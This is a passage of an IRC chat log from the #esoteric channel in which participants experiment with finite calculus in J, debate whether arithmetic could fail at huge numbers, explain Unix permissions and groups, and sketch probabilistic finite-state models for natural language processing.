PRIVMSG #esoteric :2: is constant 2 < 1268616326 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise this is so cool < 1268616327 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1: is constant 1 < 1268616330 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean adding constant 1, add howso < 1268616338 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: j or finite calculus in general? :) < 1268616343 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :everything!! < 1268616348 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :j's array handling is awesome, and finite calculus is neat < 1268616352 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :very simple definitions < 1268616356 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: const n = \x -> n < 1268616359 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268616360 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I need to start using J again, I've totally forgotton it < 1268616363 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"add" constant 1 < 1268616367 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :how do you "add" two functions < 1268616373 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :f+g = \x -> f x + g x < 1268616373 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :\f g x -> f x + g x? < 1268616379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268616453 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so basically < 1268616453 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foo =: dyad : '(1 (2:integ) y)+1' < 1268616456 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i would have thought J would have that as an easy operation < 1268616459 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have to go < 1268616460 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1268616460 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :probably does < 1268616462 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but I don't know it < 1268616465 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :isn't that what forks do? < 1268616472 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forks are < 1268616484 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :x v y -> (x arg) v (y arg) < 1268616487 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so I guess < 1268616488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but anyway < 1268616492 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : foo =: dyad : '(1 (2:integ) y)+1' < 1268616494 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 (foo integ) 1 < 1268616494 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0 < 1268616494 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 (foo integ) 2 < 1268616494 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|domain error: foo < 1268616494 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| +/ u x+i.y-x < 1268616495 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1268616500 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah stuff like forks I struggled to learn < 1268616503 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :stoopid < 1268616507 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i need monad duh < 1268616509 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: it's easy < 1268616513 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if you apply an operator to two functions < 1268616517 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mind you fork is the only J think i know :D < 1268616518 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then you get < 1268616523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :\x. (f x) op (g x) < 1268616527 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :from f op g < 1268616542 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: mind you it's also ((1+).) in haskell < 1268616553 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ok this is just giving me constant 1 :) < 1268616575 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :2 (foo integ) is constant 3 < 1268616594 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :same for all n>1 < 1268616601 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :can't you integrate the function \x -> 2 ? < 1268616604 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268616614 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 (2:integ)"0 i.10 < 1268616615 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0 0 2 2 2 2 2 2 2 2 < 1268616621 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gives, uh, constant 2 :P < 1268616622 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's nto correct is it < 1268616624 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :should be 0 2 4 6 ... < 1268616625 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :more or less < 1268616631 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :more or less XD < 1268616647 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: well if it is not then yours is wrong also < 1268616652 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268616654 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i needed 2:"0 < 1268616660 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 ((2:"0)integ)"0 i.10 < 1268616661 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0 0 2 4 6 8 10 12 14 16 < 1268616678 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : foo =: monad : '(1 ((2:"0)integ) y)+1' < 1268616679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 (foo integ)"0 i.10 < 1268616679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0 0 1 1 1 1 1 1 1 1 < 1268616681 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :altogether less interesting. < 1268616737 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm that's not quite right there shouldn't be two 0's first? < 1268616751 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah got it working < 1268616761 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 ((1&((2:"0)integ))"0 + 1:)"0 i.10 < 1268616763 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1 1 3 5 7 9 11 13 15 17 < 1268616784 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :only 1 of the 1's should be there < 1268616796 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :otherwise the next step would fail, or? < 1268616797 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i. 10 = 0, 1, 2, ..., < 1268616797 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :9 < 1268616811 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I like J < 1268616818 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :j likes you < 1268616879 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268616903 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It would be nice if J had the facilities to do symbolic stuff too. < 1268616905 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: now integrate one more time < 1268616908 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Plus types; then we'd have the perfect language. < 1268616915 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: as in ((f integ) integ), presumably < 1268616917 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what happens if you integrate again?? < 1268616927 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: after adding the 1 < 1268616932 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 (((1&((2:"0)integ))"0 + 1:)"0 integ)"0 i.10 < 1268616933 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0 0 1 4 9 16 25 36 49 64 < 1268616935 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the world asplodes < 1268616938 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :success! < 1268616939 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :theat's squares < 1268616940 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268616956 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :esolang idea: just integration and constant functions < 1268617023 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::( deriv fails on an integ'd func < 1268617034 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :realy?? why < 1268617111 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268617115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : (1&]integ)"0 deriv 1 < 1268617115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|domain error < 1268617115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| ( u y+1)-u y < 1268617232 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: what number did you say basic arithmetic fails at? 10^40? < 1268617440 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :possibly < 1268617450 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :were you serious? :) < 1268617466 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hardly < 1268617483 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268617484 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well it _could_ be < 1268617502 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the number was of course pulled out of my ass < 1268617521 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :apart from being on the order of something cosmological < 1268617523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ok do you believe there is some number n where arithmetic breaks down < 1268617534 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in /theory/, not on computing machines < 1268617563 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i do not positively believe there is such a number no < 1268617580 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but i would not positively rule it entirely out either < 1268617613 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :prob=? < 1268617627 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268617646 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you've already got _one_ number out of my ass :D < 1268617662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i was asking for a number. < 1268617662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or is it too small to exist :) < 1268617670 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and if there is one thing i _don't_ believe in, it's making up answers when you don't know things < 1268617698 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok then, prob>0.5? < 1268617711 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i mean this is a question about your belief in its probability < 1268617731 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i do not believe my belief is quantifiable < 1268617793 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :prob>0.5 is just a nerdy way of saying is it more likely than not in your opinion < 1268617804 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.e. do you err on the side of there is such a number - or not? < 1268617832 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mu < 1268617878 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you are one awkward bastard :) < 1268617900 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it is a hypothetical possibility, for which i have absolutely no evidence one way or the other. how the heck should i assign a number to it? < 1268617917 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :synchronicity, a hypothetical possibility with no evidence one way or the other < 1268617959 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i just _knew_ you'd say something like that < 1268617973 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er... < 1268617976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i am a predictable guy. < 1268617981 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but... i have a point < 1268618056 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :my evidence for synchronicity is immeasurably stronger than my evidence that there exists an inconsistent number. if you want to conclude from that that your asked prob<0.5 then be my guest. < 1268618077 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but evidence for synchronicity isn't really, it's not actual evidence implying synchronicity < 1268618087 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because your brain is designed to find causal relations < 1268618101 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that doesn't mean there isn't any such thing and it's a valid belief... < 1268618107 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but there is no actual quantifiable evidence for it < 1268618198 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Major deadline coming up, and I think I'm going to switch to the pre-rewrite < 1268618209 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Because a lot of stuff that still needs to be done in the rewrite was done here < 1268618225 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Then why did you rewrite? < 1268618231 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I did not. The other guy did. < 1268618236 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I had no involvement. < 1268618239 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also - lemme guess, there's no actual DEADLINE < 1268618246 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because it's just a bunch of kids thinking they're professional < 1268618251 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so they dreamt one up < 1268618260 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :marketing! pr! promotions! firing! Enterprise-quality code! < 1268618279 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, AWI won't renew the guy in charge's citizenship if the deadline is not met < 1268618283 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So yes, there is a deadline < 1268618294 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ooh, horrific. < 1268618698 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Bye, everyone, until Friday. If anyone wants to talk to me... do it now. < 1268618711 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1268618744 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I have to be up in... less than six and a half hours. < 1268618756 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Bye alise_. Wish your situation was resolved sooner :/ < 1268618762 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ditto. < 1268618765 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Thanks. < 1268618767 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Toodles! < 1268618769 0 :alise_!unknown@unknown.invalid QUIT : < 1268620129 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268620516 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268620644 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268621343 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wowsers! < 1268621353 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Apparently when I post a plea for people to munge comics on lonelydino.com , they actually do! < 1268621558 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Whoa. < 1268622624 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268623240 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :munge? < 1268624783 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268627322 0 :mibygl!~62d188c5@gateway/web/freenode/x-bqxxtfaoveyvoaiz JOIN :#esoteric < 1268627331 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :So, they say that in Unix, everything is a file. < 1268627359 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :So, in Unix, what isn't a file? If a process doesn't have access to any files, what can it do? < 1268627378 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Apart from creating files and accessing them. :P < 1268627406 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :mibygl: "Everything is a file" refers to the fact that all methods of communication (pipes, files, sockets, devices, etc.) are all accessed in exactly the same way < 1268627418 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :modern systems go even farther with /proc and /sys < 1268627505 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. < 1268627546 0 :Oranjer!unknown@unknown.invalid QUIT :Quit: Leaving. < 1268627575 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :"Problem: I can't access any web sites because my Internet connection is down. Solution: use a USB drive to load Apache onto the affected computer and create a web site. It will then be possible to access that web site." < 1268627600 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION coughs.
< 1268627613 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :But anyway. < 1268627624 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rright < 1268627696 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, sockets are only files on fairly esoteric systems, e.g. Plan 9 and Hurd. < 1268628302 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders permissions.
< 1268628368 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :They're pretty simple. Read, write, execute, setuid, setgid, sticky... is that all the permission bits? < 1268628463 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268628537 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, with the caveat that there are in fact three read bits, three write bits and three execute bits, yes. < 1268628556 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268629041 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how groups work. < 1268629163 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Poorly. < 1268629183 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Does each process have precisely one real and effective group ID? What do a user's other groups do? < 1268629217 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes. Other groups allow the process access to files etc based on group permissions, but written files will be of the effective group. < 1268629248 0 :mibygl!unknown@unknown.invalid QUIT :Quit: Page closed < 1268629253 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... ohhhhkidokie. < 1268629258 0 :mibygl!~62d188c5@gateway/web/freenode/x-xzmuebanjwtscziq JOIN :#esoteric < 1268629270 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : Does each process have precisely one real and effective group ID? What do a user's other groups do? < 1268629270 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : Yes. Other groups allow the process access to files etc based on group permissions, but written files will be of the effective group. < 1268629302 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :So does a process have the group permissions of its own group plus all the groups its user is in? < 1268629311 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268629318 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The assumption is that usually those overlap, but they don't have to. < 1268629333 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Also, I believe the details of that are not particularly solid, they vary from system to system) < 1268629351 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :("system" meaning "operating system" in this case) < 1268629415 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1268629424 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Seems straightforward enough. < 1268629465 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Then of course some unixen implement ACLs, and that system has complicated interactions with classic permissions. < 1268629590 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Fun. < 1268629644 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For instance, I'm fairly certain that SELinux implements ACLs (along with a trillion other things), but I have not one clue how they work.] < 1268630102 0 :myndzi\!myndzi@tengototen.net JOIN :#esoteric < 1268630293 0 :myndzi!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268630350 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In my font, myndzi\'s i\ looks a lot like a lambda :P < 1268631239 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268631473 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey myndzi\ :o < 1268631477 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i havent seen you in a while < 1268631522 0 :myndzi\!unknown@unknown.invalid PRIVMSG #esoteric :i'm surprised anyone remembers me, i wasn't exactly active i guess :P < 1268631525 0 :myndzi\!unknown@unknown.invalid NICK :myndzi < 1268631545 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i think i didn't have the channel on autojoin or something < 1268631805 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but you do now! :D < 1268631842 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :er.. one moment... yes, sure, yeah < 1268631843 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268631885 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :good boy < 1268631953 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :man < 1268631976 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i can do part-of-speech induction on a 5000 sentence corpus in about, oh, 3 seconds < 1268632042 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :that's cool < 1268632049 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i always kinda wanted to learn about natural language processing < 1268632056 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont. :P < 1268632062 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its yawnfully boring < 1268632063 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :but everything i tried to look up on the internet was over my head < 1268632066 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but whatever < 1268632071 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh! < 1268632074 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :want an introduction < 1268632075 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268632079 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1268632106 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :step 1: generate a random model of the corpus < 1268632130 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :step 2: calculate the statistics based off of that model and compare it to the new data < 1268632135 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :step 3: update your model < 1268632140 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :step 4: goto step 2 < 1268632142 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :..what < 1268632143 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268632150 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you think im joking < 1268632151 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im not < 1268632163 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :no, i just don't know what statistics i'm calculating or what the model means < 1268632164 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so much of NLP is basically that < 1268632166 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1268632171 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :any statistics you want < 1268632189 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :usually its just basic probabilities < 1268632191 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :so you're saying basically pick a random part of speech for every word, and then and correct it repeatedly? < 1268632211 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so like, if some new sentence comes in, you update your predictions by just like, throwing the sentence into the model < 1268632214 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its really stupid < 1268632220 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :that's rather disappointing actually < 1268632233 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i thought that there would be a way to actually parse english grammar or something < 1268632240 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :when im done eating ill give you a more accurate picture < 1268632282 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :mmk < 1268632289 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i guess that's why we have lojban eh? < 1268632290 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268632296 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no. < 1268632441 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :sure! one of the reasons lojban was thunk up was to have a language that could be unambiguously machine-processed < 1268632447 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that doesnt mean trivially learned. < 1268632455 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :oh, certainly not < 1268632461 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i don't propose anybody learns lojban lol < 1268632484 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :it's an interesting idea, but i think i read somewhere that the words were basically randomly generated < 1268632490 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :there's no character to that < 1268632528 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i wonder if there are many widely used languages that are much easier on NLP than English < 1268632535 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i wouldn't be surprised at all < 1268632540 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :either way really, for different reasons < 1268633350 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok im done eating < 1268633360 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so here is the current algo we're doing in class < 1268633398 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :first you assume that your input data is a probabilistic markovian process < 1268633405 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :this is false, but just pretend, because we're NLP people < 1268633452 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :mmk < 1268633456 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so build a random fully-connected probabilistic finite state machine with state-wise write probabilities < 1268633470 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is, transitions are distinct from symbol writes < 1268633494 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :when you transition to a state, you write a symbol associated with that state < 1268633512 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to writing a symbol associated with a particular transition. < 1268633534 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :yep, now i know *exactly* what to read about on wikipedia! :P < 1268633539 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i'm sorry, i probably don't really belong here lol < 1268633545 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :actually i never went to college D: < 1268633546 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wait, it gets BETTER < 1268633602 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :when a new sentences comes in < 1268633614 0 :coppro!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268633658 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :calculate the expected number of times that sentence should show up in a corpus of the size you have < 1268633676 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :(or when a new symbol comes in. its all the same.) < 1268633725 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :so the states in this case would be nouns, verbs, etc.? < 1268633732 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then, using that re-normalize your probabilities, and this is your new model < 1268633741 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the states would be whatever. < 1268633752 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :specifically for NLP < 1268633760 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the number of states you need varies < 1268633825 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i think i about have the gist of it, but what does this have to do with part of speech decisions? < 1268633849 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :oh, i guess they are learned from the arrangement of symbols in your corpus < 1268633857 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :and not explicitly defined < 1268633860 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, the part of speech induction thing is a different task < 1268633873 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but you could probably apply a similar thing to it < 1268633877 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats not how im approaching it, tho < 1268633880 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268633895 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i was trying to read your description in the context of tagging parts of speech hehe < 1268633906 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i probably used the term NLP wrong then < 1268633907 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh no, dont do that < 1268633920 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what i described was sequence recognition < 1268633923 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sentences, usually < 1268633930 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :is it a sentence or not < 1268633936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :how likely is it to be produced < 1268633936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1268633937 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i see < 1268633952 